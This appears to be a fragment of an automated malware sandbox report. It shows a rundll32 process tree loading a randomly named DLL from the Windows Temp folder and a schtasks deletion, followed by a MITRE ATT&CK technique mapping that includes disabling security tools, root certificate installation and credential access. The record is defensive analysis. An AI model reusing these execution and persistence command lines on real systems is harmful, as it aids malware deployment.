  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HvrIGoRDYaykjTnO\ClFNZvbp\ItEenkn.dll",#1 /site_id 525403
  2⤵
  PID:2900
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\HvrIGoRDYaykjTnO\ClFNZvbp\ItEenkn.dll",#1 /site_id 525403
    3⤵
    - Blocklisted process makes network request
    - Checks BIOS information in registry
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    PID:2608
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "pyIEiyMuPIzAvWAZz"
      4⤵
      PID:2656

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2276

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery